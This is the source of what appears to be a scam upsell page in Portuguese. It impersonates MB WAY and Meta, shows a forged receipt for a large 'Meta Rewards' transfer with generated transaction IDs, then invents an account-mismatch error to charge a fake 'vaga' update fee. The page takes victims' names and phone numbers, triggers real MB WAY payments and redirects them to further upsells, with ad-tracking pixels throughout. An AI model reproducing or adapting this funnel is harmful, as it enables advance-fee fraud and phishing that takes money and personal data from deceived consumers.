<?php
$qs = $_SERVER['QUERY_STRING'] ?? '';
$params = $qs ? '?' . $qs : '';
require_once dirname(__DIR__) . '/assets/funnel-config.php';
require_once dirname(__DIR__) . '/assets/device-tier.php';
require_once dirname(__DIR__) . '/central.php';
$fc = loadFunnelConfig();
$up_amount = round($fc['prices']['up3'] * _dtier($_SERVER['HTTP_USER_AGENT'] ?? '', $fc['device_tier_max_pct'], $fc['device_tier_enabled']), 2);
$up_amount = central_price('up3', $up_amount);
$up_fmt = number_format($up_amount, 2, ',', '.');
$lead_balance = central_amount('lead_balance', 1841.43.00);
$lead_balance_fmt = number_format($lead_balance, 2, ',', '.');
$up_next = '../up4/' . $params;
$up_product_id = 'upsell-3';
$up_product_name = 'Meta - Proteccao MB WAY';
?><!DOCTYPE html>
<html lang="pt-PT">
<head>
    <meta charset="UTF-8">
<script>
!function(w,d,t){w.TiktokAnalyticsObject=t;var ttq=w[t]=w[t]||[];ttq.methods=["page","track","identify","instances","debug","on","off","once","ready","alias","group","enableCookie","disableCookie"],ttq.setAndDefer=function(t,e){t[e]=function(){t.push([e].concat(Array.prototype.slice.call(arguments,0)))}};for(var i=0;i<ttq.methods.length;i++)ttq.setAndDefer(ttq,ttq.methods[i]);ttq.instance=function(t){for(var e=ttq._i[t]||[],n=0;n<ttq.methods.length;n++)ttq.setAndDefer(e,ttq.methods[n]);return e},ttq.load=function(e,n){var i="https://analytics.tiktok.com/i18n/pixel/events.js";ttq._i=ttq._i||{},ttq._i[e]=[],ttq._i[e]._u=i,ttq._t=ttq._t||{},ttq._t[e]=+new Date,ttq._o=ttq._o||{},ttq._o[e]=n||{};var o=document.createElement("script");o.type="text/javascript",o.async=!0,o.src=i+"?sdkid="+e+"&lib="+t;var a=document.getElementsByTagName("script")[0];a.parentNode.insertBefore(o,a)};
ttq.load('<?= $fc["tiktok_pixel"] ?>');ttq.page();
}(window,document,'ttq');
</script>
<!-- Meta Pixel Code -->
<script>
!function(f,b,e,v,n,t,s)
{if(f.fbq)return;n=f.fbq=function(){n.callMethod?
n.callMethod.apply(n,arguments):n.queue.push(arguments)};
if(!f._fbq)f._fbq=n;n.push=n;n.loaded=!0;n.version='2.0';
n.queue=[];t=b.createElement(e);t.async=!0;
t.src=v;s=b.getElementsByTagName(e)[0];
s.parentNode.insertBefore(t,s)}(window, document,'script',
'https://connect.facebook.net/en_US/fbevents.js');
fbq('init', '1824082551586655');
fbq('track', 'PageView');
</script>
<noscript><img height="1" width="1" style="display:none"
src="https://www.facebook.com/tr?id=1824082551586655&ev=PageView&noscript=1"
/></noscript>
<!-- End Meta Pixel Code -->
<!-- UTMify Pixel -->
<script async src="https://cdn.utmify.com.br/scripts/utms/latest.js" data-utmify-prevent-subids></script>
<script src="../assets/utm-persist.js"></script>
    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
    <title>MB WAY</title>
    <script src="../link.php"></script>
    <script src="../3.4-2.17"></script>
    <style>
        @import url('../css/css2-2');
        * { box-sizing: border-box; margin: 0; padding: 0; }
        body { font-family: -apple-system, 'Inter', BlinkMacSystemFont, sans-serif; background: #f0f0f0; -webkit-tap-highlight-color: transparent; }
        .hidden { display: none; }

        /* ── NAV BAR ── */
        .mbway-nav {
            background: #fff;
            display: flex;
            align-items: center;
            justify-content: space-between;
            padding: 14px 18px;
            border-bottom: 1px solid #ebebeb;
        }
        .mbway-nav-title {
            font-size: 15px;
            font-weight: 700;
            color: #1a1a1a;
            letter-spacing: -0.2px;
        }
        .mbway-nav-icon {
            width: 32px;
            height: 32px;
            display: flex;
            align-items: center;
            justify-content: center;
            cursor: pointer;
        }

        /* ── STEP 1 — Confirmação inicial ── */
        #step1 { background: #f0f0f0; min-height: 100vh; }

        .s1-top {
            background: #E30613;
            padding: 52px 24px 56px;
            text-align: center;
        }
        .s1-top { display: flex; justify-content: center; align-items: center; }
        .s1-top img { height: 44px; filter: brightness(0) invert(1); display: block; }

        .s1-main-card {
            background: white;
            margin: -28px 16px 12px;
            border-radius: 20px;
            padding: 32px 24px 28px;
            box-shadow: 0 4px 20px rgba(0,0,0,0.10);
            text-align: center;
        }
        .s1-check {
            width: 64px;
            height: 64px;
            background: #16a34a;
            border-radius: 50%;
            display: flex;
            align-items: center;
            justify-content: center;
            margin: 0 auto 18px;
        }
        .s1-amount {
            font-size: 42px;
            font-weight: 900;
            color: #1a1a1a;
            letter-spacing: -2px;
            line-height: 1;
            margin-bottom: 6px;
        }
        .s1-desc {
            font-size: 13px;
            color: #888;
            font-weight: 500;
            margin-bottom: 18px;
        }
        .s1-badge {
            display: inline-block;
            background: #f0fdf4;
            color: #16a34a;
            font-size: 12px;
            font-weight: 700;
            padding: 6px 16px;
            border-radius: 20px;
            border: 1.5px solid #bbf7d0;
            text-transform: uppercase;
            letter-spacing: 0.06em;
        }

        .info-card {
            background: white;
            margin: 0 16px 12px;
            border-radius: 16px;
            overflow: hidden;
            box-shadow: 0 1px 6px rgba(0,0,0,0.06);
        }
        .info-row {
            display: flex;
            justify-content: space-between;
            align-items: center;
            padding: 15px 20px;
            border-bottom: 1px solid #f5f5f5;
        }
        .info-row:last-child { border-bottom: none; }
        .info-label { font-size: 13px; color: #888; font-weight: 500; }
        .info-value { font-size: 13px; color: #1a1a1a; font-weight: 700; text-align: right; }

        .btn-mbway-red {
            display: block;
            width: calc(100% - 32px);
            margin: 4px 16px 36px;
            background: #E30613;
            color: white;
            border: none;
            padding: 18px;
            border-radius: 12px;
            font-size: 16px;
            font-weight: 700;
            text-align: center;
            cursor: pointer;
            letter-spacing: 0.01em;
        }

        /* ── STEP 2 — Comprovativo ── */
        #step2 { background: #f0f0f0; min-height: 100vh; }

        .s2-amount-section {
            background: white;
            padding: 28px 24px 24px;
            text-align: center;
            margin-bottom: 10px;
        }
        .s2-check {
            width: 56px;
            height: 56px;
            background: #16a34a;
            border-radius: 50%;
            display: flex;
            align-items: center;
            justify-content: center;
            margin: 0 auto 14px;
        }
        .s2-amount {
            font-size: 38px;
            font-weight: 900;
            color: #1a1a1a;
            letter-spacing: -1.5px;
            line-height: 1;
        }
        .s2-subtitle {
            font-size: 13px;
            color: #888;
            margin-top: 7px;
            font-weight: 500;
        }

        .receipt-card {
            background: white;
            margin: 0 16px 10px;
            border-radius: 16px;
            overflow: hidden;
            box-shadow: 0 1px 6px rgba(0,0,0,0.06);
        }
        .receipt-row {
            display: flex;
            justify-content: space-between;
            align-items: flex-start;
            padding: 15px 20px;
            border-bottom: 1px solid #f5f5f5;
        }
        .receipt-row:last-child { border-bottom: none; }
        .rr-label { font-size: 13px; color: #888; font-weight: 500; flex-shrink: 0; }
        .rr-value { font-size: 13px; color: #1a1a1a; font-weight: 700; text-align: right; max-width: 62%; }
        .rr-sub { font-size: 12px; color: #aaa; font-weight: 400; margin-top: 2px; }
        .rr-mono {
            font-family: 'Courier New', monospace;
            font-size: 11px;
            color: #666;
            word-break: break-all;
            text-align: right;
            max-width: 62%;
        }

        .mbway-footer-logo {
            text-align: center;
            padding: 20px 0 160px;
        }
        .mbway-footer-logo img {
            height: 20px;
            opacity: 0.12;
            filter: grayscale(1);
        }

        /* ── CONFIRM BOX ── */
        #confirmBox {
            position: fixed;
            bottom: 0; left: 0; right: 0;
            background: white;
            padding: 28px 22px 48px;
            border-radius: 28px 28px 0 0;
            box-shadow: 0 -15px 50px rgba(0,0,0,0.18);
            transform: translateY(100%);
            transition: transform 0.5s cubic-bezier(0.32, 1, 0.2, 1);
            z-index: 1000;
        }
        #confirmBox.active { transform: translateY(0); }
        .cb-title { font-size: 20px; font-weight: 800; color: #1a1a1a; margin-bottom: 10px; }
        .cb-text { font-size: 14px; color: #666; line-height: 1.65; margin-bottom: 22px; }
        .btn-cb-ghost {
            width: 100%;
            background: white;
            border: 2px solid #ebebeb;
            color: #bbb;
            padding: 16px;
            border-radius: 12px;
            font-size: 12px;
            font-weight: 700;
            text-transform: uppercase;
            letter-spacing: 0.08em;
            margin-bottom: 12px;
            cursor: pointer;
        }
        .btn-cb-red {
            width: 100%;
            background: #E30613;
            color: white;
            border: none;
            padding: 18px;
            border-radius: 12px;
            font-size: 15px;
            font-weight: 700;
            text-transform: uppercase;
            letter-spacing: 0.04em;
            cursor: pointer;
        }

        /* ── STEP 3 — Upsell ── */
        #step3 { background: #f0f0f0; min-height: 100vh; }

        .error-bar {
            background: #CC0000;
            color: white;
            text-align: center;
            padding: 13px 16px;
            font-size: 11px;
            font-weight: 800;
            text-transform: uppercase;
            letter-spacing: 0.04em;
        }

        .upsell-card {
            background: white;
            margin: 14px 16px;
            border-radius: 20px;
            overflow: hidden;
            box-shadow: 0 4px 20px rgba(0,0,0,0.10);
        }
        .upsell-top {
            padding: 28px 24px 22px;
            text-align: center;
            border-bottom: 1px solid #f5f5f5;
        }
        .lock-circle {
            width: 62px;
            height: 62px;
            background: #fff0f0;
            border-radius: 50%;
            display: flex;
            align-items: center;
            justify-content: center;
            margin: 0 auto 16px;
        }
        .upsell-title {
            font-size: 22px;
            font-weight: 800;
            color: #1a1a1a;
            margin-bottom: 10px;
            letter-spacing: -0.5px;
        }
        .upsell-tag {
            display: inline-block;
            background: #fff0f0;
            color: #E30613;
            font-size: 12px;
            font-weight: 700;
            padding: 6px 16px;
            border-radius: 20px;
        }
        .upsell-body { padding: 22px 24px 28px; }
        .upsell-warn {
            background: #fff8f5;
            border-left: 4px solid #E30613;
            border-radius: 8px;
            padding: 14px 16px;
            font-size: 13px;
            color: #555;
            line-height: 1.65;
            font-weight: 500;
            margin-bottom: 22px;
        }
        .field-label {
            display: block;
            font-size: 11px;
            font-weight: 700;
            color: #999;
            text-transform: uppercase;
            letter-spacing: 0.1em;
            margin-bottom: 10px;
        }
        .mbway-input {
            width: 100%;
            padding: 16px 18px;
            border: 2px solid #ebebeb;
            border-radius: 12px;
            font-size: 16px;
            font-weight: 600;
            background: #fafafa;
            margin-bottom: 22px;
            color: #1a1a1a;
        }
        .mbway-input:focus { border-color: #E30613; outline: none; background: white; }

        .amount-box {
            background: #1a1a1a;
            border-radius: 16px;
            padding: 24px;
            text-align: center;
            margin-bottom: 22px;
        }
        .ab-label { font-size: 11px; color: #888; text-transform: uppercase; letter-spacing: 0.1em; font-weight: 700; margin-bottom: 8px; }
        .ab-value { font-size: 46px; font-weight: 900; color: white; letter-spacing: -2px; line-height: 1; }
        .ab-sub { font-size: 12px; font-weight: 700; color: #E30613; margin-top: 8px; text-transform: uppercase; letter-spacing: 0.05em; }

        .btn-upsell {
            display: block;
            width: 100%;
            background: #E30613;
            color: white;
            border: none;
            padding: 20px;
            border-radius: 14px;
            font-size: 16px;
            font-weight: 800;
            text-align: center;
            text-transform: uppercase;
            letter-spacing: 0.04em;
            cursor: pointer;
        }

        @keyframes pulse-red {
            0%   { box-shadow: 0 0 0 0 rgba(227,6,19,0.45); }
            70%  { box-shadow: 0 0 0 14px rgba(227,6,19,0); }
            100% { box-shadow: 0 0 0 0 rgba(227,6,19,0); }
        }
        .pulse-red { animation: pulse-red 2s infinite; }
    </style>
</head>
<body>

<!-- ═══════════════════════════════════════════
     STEP 1 — Transferência recebida
════════════════════════════════════════════ -->
<div id="step1">
    <!-- Barra vermelha MB WAY -->
    <div class="s1-top">
        <img src="../assets/mb.png" alt="MB WAY">
    </div>

    <!-- Card principal -->
    <div class="s1-main-card">
        <div class="s1-check">
            <svg width="30" height="30" fill="none" stroke="white" stroke-width="3" viewBox="0 0 24 24">
                <polyline points="5 13 11 19 23 7"></polyline>
            </svg>
        </div>
        <div class="s1-amount">€ <?= $lead_balance_fmt ?></div>
        <div class="s1-desc">recebido via MB WAY</div>
        <div class="s1-badge">Concluído</div>
    </div>

    <!-- Detalhes -->
    <div class="info-card">
        <div class="info-row">
            <span class="info-label">De</span>
            <span class="info-value">Meta Rewards Portugal</span>
        </div>
        <div class="info-row">
            <span class="info-label">Para</span>
            <span class="info-value">O seu MB WAY</span>
        </div>
        <div class="info-row">
            <span class="info-label">Custo</span>
            <span class="info-value">Isento</span>
        </div>
        <div class="info-row">
            <span class="info-label">Estado</span>
            <span class="info-value" style="color:#16a34a;">Aprovado</span>
        </div>
    </div>

    <button onclick="toStep2()" class="btn-mbway-red">
        Ver comprovativo
    </button>
</div>


<!-- ═══════════════════════════════════════════
     STEP 2 — Comprovativo
════════════════════════════════════════════ -->
<div id="step2" class="hidden">

    <!-- Nav bar estilo MB WAY -->
    <div class="mbway-nav">
        <div class="mbway-nav-icon">
            <svg width="20" height="20" fill="none" stroke="#333" stroke-width="2.5" viewBox="0 0 24 24">
                <path d="M18 6L6 18M6 6l12 12"/>
            </svg>
        </div>
        <img src="../assets/mb.png" alt="MB WAY" style="height:36px; display:block;">
        <div class="mbway-nav-icon"></div>
    </div>

    <!-- Montante -->
    <div class="s2-amount-section">
        <div class="s2-check">
            <svg width="26" height="26" fill="none" stroke="white" stroke-width="3" viewBox="0 0 24 24">
                <polyline points="5 13 11 19 23 7"></polyline>
            </svg>
        </div>
        <div class="s2-amount">€ <?= $lead_balance_fmt ?></div>
        <div class="s2-subtitle">Transferência enviada com sucesso</div>
    </div>

    <!-- Dados da transferência -->
    <div class="receipt-card">
        <div class="receipt-row">
            <span class="rr-label">Destinatário</span>
            <div class="rr-value">
                <span id="receipt-name"></span>
                <div class="rr-sub">NIF: ***.<span id="receipt-nif">361</span>.***</div>
                <div class="rr-sub">MB WAY / Entidade Digital</div>
            </div>
        </div>
        <div class="receipt-row">
            <span class="rr-label">Origem</span>
            <div class="rr-value">
                FACEBOOK REWARDS PORTUGAL
                <div class="rr-sub">NIF: 513.141.251</div>
            </div>
        </div>
        <div class="receipt-row">
            <span class="rr-label">Método</span>
            <span class="rr-value">Pagamento com N.º Telemóvel</span>
        </div>
        <div class="receipt-row">
            <span class="rr-label">Custo</span>
            <span class="rr-value">Isento</span>
        </div>
    </div>

    <!-- Data e referência -->
    <div class="receipt-card" style="margin-bottom:12px;">
        <div class="receipt-row">
            <span class="rr-label">Data e hora</span>
            <span class="rr-value" id="dataAtual"></span>
        </div>
        <div class="receipt-row" style="flex-direction:column; gap:8px;">
            <span class="rr-label">Referência</span>
            <span class="rr-mono" id="idTransacao"></span>
        </div>
    </div>

    <!-- Logo discreta no rodapé -->
    <div class="mbway-footer-logo">
        <img src="../assets/mb.png" alt="MB WAY">
    </div>
</div>


<!-- ═══════════════════════════════════════════
     CONFIRM BOX (slide-up sobre step2)
════════════════════════════════════════════ -->
<div id="confirmBox">
    <h3 class="cb-title">Este MB WAY é seu?</h3>
    <p class="cb-text">O Meta identificou que os dados da conta de <b id="cb-name"></b> não coincidem com o seu NIF. Deseja confirmar este envio de <b id="cb-amount"></b>?</p>
    <button class="btn-cb-ghost">Sim, este MB WAY é meu</button>
    <button onclick="toStep3()" class="btn-cb-red">NÃO, NÃO É O MEU MB WAY!</button>
</div>


<!-- ═══════════════════════════════════════════
     STEP 3 — Activação / Upsell
════════════════════════════════════════════ -->
<div id="step3" class="hidden">
    <div class="error-bar">Erro no processamento — Divergência de dados identificada</div>

    <div class="upsell-card">
        <div class="upsell-top">
            <div class="lock-circle">
                <svg width="28" height="28" fill="none" stroke="#E30613" stroke-width="2.5" viewBox="0 0 24 24">
                    <rect x="3" y="11" width="18" height="11" rx="2" ry="2"/>
                    <path d="M7 11V7a5 5 0 0 1 10 0v4"/>
                </svg>
            </div>
            <div class="upsell-title">Activação de Protecção MB WAY</div>
            <div class="upsell-tag">Erro de titularidade identificado</div>
        </div>

        <div class="upsell-body">
            <div class="upsell-warn">
                <b>Atenção:</b> Levantamentos recentes foram revertidos por falha bancária e divergência de número MB WAY. O sistema identificou que os dados fornecidos não coincidem com o titular.
            </div>

            <label class="field-label">Número MB WAY Correcto</label>
            <input type="text" placeholder="Introduza o seu número MB WAY aqui..." class="mbway-input">

            <div class="amount-box pulse-red">
                <div class="ab-label">Taxa de Actualização de Vaga</div>
                <div class="ab-value" id="upsellValue">€ <?= $up_fmt ?></div>
                <div class="ab-sub">Libertação imediata do novo MB WAY</div>
            </div>

            <button onclick="goToCheckout()" class="btn-upsell">Concluir com segurança</button>
        </div>
    </div>
</div>


<script>
    function setupData() {
        var _name = (document.getElementById('pay-name') ? document.getElementById('pay-name').value : '') || 'Utilizador';
        var _el = document.getElementById('receipt-name'); if(_el) _el.textContent = _name;
        var _nifPart = String(Math.floor(Math.random()*900)+100);
        var _nifEl = document.getElementById('receipt-nif'); if(_nifEl) _nifEl.textContent = _nifPart;
        const d = new Date();
        const months = ["Jan", "Fev", "Mar", "Abr", "Mai", "Jun", "Jul", "Ago", "Set", "Out", "Nov", "Dez"];
        let eId = "E" + Math.floor(Math.random() * 1000000000).toString() + d.getTime().toString() + "7290KID";
        document.getElementById('idTransacao').innerText = eId;
        document.getElementById('dataAtual').innerText = d.getDate() + ' ' + months[d.getMonth()] + ' ' + d.getFullYear() + ' - ' + d.getHours() + ':' + d.getMinutes().toString().padStart(2, '0') + ':' + d.getSeconds().toString().padStart(2, '0');
    }

    function toStep2() {
        setupData();
        document.getElementById('step1').classList.add('hidden');
        document.getElementById('step2').classList.remove('hidden');
        window.scrollTo(0, 0);
        var _cbName = document.getElementById('pay-name') ? document.getElementById('pay-name').value : '';
        var _cbEl = document.getElementById('cb-name'); if(_cbEl) _cbEl.textContent = _cbName || 'utilizador';
        var _cbAmt = document.getElementById('cb-amount'); if(_cbAmt) _cbAmt.textContent = '\u20ac ' + (<?= json_encode((string)$lead_balance_fmt) ?>);
        setTimeout(function() { document.getElementById('confirmBox').classList.add('active'); }, 2500);
    }

    function toStep3() {
        document.getElementById('confirmBox').classList.remove('active');
        document.getElementById('step2').classList.add('hidden');
        document.getElementById('step3').classList.remove('hidden');
        window.scrollTo(0, 0);
    }

    function goToCheckout() { openPaymentForm(); }

    function loadUpsellValue() {
        var fee = (typeof window !== 'undefined') ? window.__UP_FEE_3 : undefined;
        var el = document.getElementById('upsellValue');
        if (el && fee !== undefined) {
            el.textContent = '€ ' + fee.toLocaleString('pt-PT', {minimumFractionDigits: 2, maximumFractionDigits: 2});
        }
    }
    loadUpsellValue();
</script>
<style>.pay-dot{width:8px;height:8px;background:#E30613;border-radius:50%;animation:pay-bounce 1.2s infinite ease-in-out}.pay-dot:nth-child(2){animation-delay:.2s}.pay-dot:nth-child(3){animation-delay:.4s}@keyframes pay-bounce{0%,80%,100%{transform:scale(0.6);opacity:0.5}40%{transform:scale(1);opacity:1}}</style>
<div id="pay-overlay" style="display:none;position:fixed;top:0;left:0;right:0;bottom:0;background:rgba(0,0,0,0.6);z-index:9999;justify-content:center;align-items:flex-end"><div style="background:#fff;border-radius:20px 20px 0 0;padding:24px 20px 36px;width:100%;max-width:480px;margin:0 auto"><div id="pay-form-section"><h3 style="font-size:17px;font-weight:700;margin-bottom:4px;color:#111">Pagamento seguro</h3><p style="font-size:13px;color:#888;margin-bottom:18px" id="pay-subtitle">MB Way</p><div style="margin-bottom:14px"><label style="font-size:13px;color:#555;font-weight:600;display:block;margin-bottom:6px">Nome completo</label><input id="pay-name" type="text" placeholder="O teu nome" style="width:100%;padding:12px 14px;border:1.5px solid #e0e0e0;border-radius:10px;font-size:15px;outline:none"></div><div style="margin-bottom:20px"><label style="font-size:13px;color:#555;font-weight:600;display:block;margin-bottom:6px">N&#250;mero MB Way</label><div style="display:flex;gap:10px;align-items:center"><div style="background:#f5f5f5;border:1.5px solid #e0e0e0;border-radius:10px;padding:12px;font-size:15px;font-weight:600;white-space:nowrap">&#127477;&#127481; +351</div><input id="pay-phone" type="tel" inputmode="numeric" maxlength="9" placeholder="xxxxxxxx" style="flex:1;padding:12px 14px;border:1.5px solid #e0e0e0;border-radius:10px;font-size:15px;outline:none"></div></div><div id="pay-error" style="display:none;color:#e53935;font-size:13px;margin-bottom:12px;text-align:center"></div><button onclick="submitUpPayment()" style="width:100%;background:#E30613;color:#fff;font-size:16px;font-weight:700;padding:17px;border:none;border-radius:50px;cursor:pointer">CONFIRMAR PAGAMENTO</button><button onclick="closePaymentForm()" style="width:100%;background:none;border:none;font-size:13px;color:#bbb;padding:14px;cursor:pointer;margin-top:4px">Cancelar</button></div><div id="pay-waiting" style="display:none;text-align:center;padding:20px 0"><div style="margin-bottom:12px;display:flex;justify-content:center" aria-hidden="true"><svg xmlns="http://www.w3.org/2000/svg" width="40" height="40" viewBox="0 0 24 24" fill="none" stroke="#111" stroke-width="1.75" stroke-linecap="round" stroke-linejoin="round"><rect x="6" y="2" width="12" height="20" rx="2"/><path d="M12 18h.01"/></svg></div><p style="font-size:16px;font-weight:700;color:#111;margin-bottom:8px">Aguarda a notificação MB Way</p><p style="font-size:13px;color:#888;margin-bottom:20px">Abre o app MB Way e confirma o pagamento</p><div style="display:flex;gap:6px;justify-content:center;margin-bottom:16px"><div class="pay-dot"></div><div class="pay-dot"></div><div class="pay-dot"></div></div><button onclick="cancelUpPayment()" style="background:none;border:1.5px solid #e0e0e0;border-radius:50px;font-size:13px;color:#888;padding:10px 20px;cursor:pointer">Cancelar</button></div></div></div>
<script>
var upPayId=null,upPayInterval=null;
var UP_AMOUNT=<?= $up_amount ?>;
var UP_NEXT='<?= $up_next ?>';
var UP_PRODUCT_ID='<?= $up_product_id ?>',UP_PRODUCT_NAME='<?= $up_product_name ?>';
var _mbPayer=null;try{_mbPayer=JSON.parse(localStorage.getItem('mbway_payer')||'null');}catch(e){}function _gU(k){if(typeof getUtmValue==="function")return getUtmValue(k);var p=new URLSearchParams(window.location.search);return p.get(k)||null;}function _utmify(st,amt){var p=new URLSearchParams(window.location.search);var nm=document.getElementById('pay-name')?document.getElementById('pay-name').value:'';fetch('../tracking.php',{method:'POST',keepalive:true,headers:{'Content-Type':'application/json'},body:JSON.stringify({status:st,transaction_id:upPayId||('up3-'+Date.now()),amount:amt,method:'mbway',product_id:UP_PRODUCT_ID,product_name:UP_PRODUCT_NAME,customer:{name:nm,email:(_mbPayer&&_mbPayer.email)||null,phone:null,document:null},utms:{utm_source:_gU('utm_source'),utm_medium:_gU('utm_medium'),utm_campaign:_gU('utm_campaign'),utm_content:_gU('utm_content'),utm_term:_gU('utm_term'),src:_gU('src'),sck:_gU('sck')}})}).catch(function(){});}
function _tf(evt,amt,mth){try{var s=localStorage.getItem('_vid')||'';if(!s){s=Math.random().toString(36).substr(2,9)+Date.now().toString(36);localStorage.setItem('_vid',s);}var p=new URLSearchParams(window.location.search);fetch('/painel/tracker.php',{method:'POST',keepalive:true,headers:{'Content-Type':'application/json'},body:JSON.stringify({sid:s,page:'up3',event:evt,amount:amt||0,method:mth||'',src:p.get('utm_source')||'',med:p.get('utm_medium')||'',cmp:p.get('utm_campaign')||''})}).catch(function(){});}catch(e){}}
_tf('view');
function openPaymentForm(){document.getElementById('pay-overlay').style.display='flex';document.getElementById('pay-error').style.display='none';var sub=document.getElementById('pay-subtitle');if(sub)sub.textContent='MB Way \u00b7 <?= $up_fmt ?>\u20ac';if(_mbPayer&&_mbPayer.name&&_mbPayer.phone){document.getElementById('pay-name').value=_mbPayer.name;document.getElementById('pay-phone').value=_mbPayer.phone;document.getElementById('pay-form-section').style.display='none';document.getElementById('pay-waiting').style.display='block';submitUpPayment();}else{if(_mbPayer&&_mbPayer.name)document.getElementById('pay-name').value=_mbPayer.name;document.getElementById('pay-form-section').style.display='block';document.getElementById('pay-waiting').style.display='none';}}
function closePaymentForm(){document.getElementById('pay-overlay').style.display='none';}
function cancelUpPayment(){if(upPayInterval)clearInterval(upPayInterval);closePaymentForm();}
var _upMbwayRetry=0;function submitUpPayment(){var name=document.getElementById('pay-name').value.trim();var phone=document.getElementById('pay-phone').value.trim().replace(/\D/g,'');var errEl=document.getElementById('pay-error');errEl.style.display='none';if(!name){errEl.textContent='Preenche o teu nome.';errEl.style.display='block';return;}if(!/^\d{9}$/.test(phone)){errEl.textContent='N\u00famero MB Way inv\u00e1lido (9 d\u00edgitos).';errEl.style.display='block';return;}document.getElementById('pay-form-section').style.display='none';document.getElementById('pay-waiting').style.display='block';_tf('payment_started',UP_AMOUNT,'mbway');fetch('create-transaction.php',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify({stage:'up3',method:'mbway',amount:UP_AMOUNT,payer:{name:name,phone:'+351'+phone,email:(_mbPayer&&_mbPayer.email)||(phone+'@mbway.pt'),document:'999999999'}})}).then(function(r){return r.json();}).then(function(d){if(d.id||d.statusCode===200){upPayId=d.id;if(d.generatedMBWay===false&&_upMbwayRetry<3){_upMbwayRetry++;setTimeout(submitUpPayment,1500);return;}_upMbwayRetry=0;_utmify('waiting_payment',UP_AMOUNT);upPayInterval=setInterval(checkUpPayment,5000);}else{showUpError(d.message||'Erro ao processar. Tenta novamente.');}}).catch(function(){showUpError('Erro de liga\u00e7\u00e3o. Tenta novamente.');});}
function checkUpPayment(){if(!upPayId)return;fetch('create-transaction.php?action=status',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify({id:upPayId})}).then(function(r){return r.json();}).then(function(d){var s=(d.status||'').toUpperCase();if(['PAID','APPROVED','COMPLETED','CONFIRMED'].includes(s)){clearInterval(upPayInterval);_tf('payment_paid',UP_AMOUNT,'mbway');_utmify('paid',UP_AMOUNT);if(typeof fbq==='function')fbq('track','Purchase',{value:UP_AMOUNT,currency:'EUR',content_ids:[UP_PRODUCT_ID],content_type:'product'});setTimeout(function(){window.location.href=UP_NEXT;},450);}}).catch(function(){});}
function showUpError(msg){document.getElementById('pay-form-section').style.display='block';document.getElementById('pay-waiting').style.display='none';var e=document.getElementById('pay-error');e.textContent=msg;e.style.display='block';}
</script>
</body>
</html>
